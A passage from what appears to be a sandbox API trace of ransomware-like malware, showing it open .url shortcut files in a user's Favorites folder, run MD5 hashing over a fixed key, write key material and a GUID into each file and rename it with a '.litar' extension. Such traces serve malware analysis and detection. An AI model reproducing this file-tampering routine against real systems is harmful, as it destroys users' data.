"c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.963] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.963] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.964] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.964] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.965] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.965] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.965] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.966] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.966] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.966] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.966] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.966] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.966] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.966] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.966] GetLastError () returned 0x0 [0125.967] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.967] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.967] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.967] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.967] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.967] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.967] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.967] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.967] CloseHandle (hObject=0x624) returned 1 [0125.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0125.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0125.968] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.litar")) returned 1 [0125.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.968] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.969] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0125.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.970] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0125.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.971] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.971] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.973] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.973] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.973] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.974] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.974] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.974] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.974] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.974] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.974] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.974] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.974] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.975] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.975] GetLastError () returned 0x0 [0125.975] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.975] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.975] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.975] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.975] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.975] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.975] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.975] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.975] CloseHandle (hObject=0x624) returned 1 [0125.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.976] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.litar")) returned 1 [0125.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.977] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.978] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0125.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.978] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0125.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.979] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.979] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.980] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.980] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.981] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.981] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.981] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.981] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.981] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.982] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.982] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.982] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.982] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.982] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.982] GetLastError () returned 0x0 [0125.982] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.983] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.983] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.983] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.983] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.983] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.983] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.983] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.983] CloseHandle (hObject=0x624) returned 1 [0125.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.984] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.litar")) returned 1 [0125.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.984] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0125.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0125.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.986] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.986] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.988] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.988] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.989] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.989] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.989] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.989] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.989] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.989] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.989] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.990] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.990] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.990] GetLastError () returned 0x0 [0125.990] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.990] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: 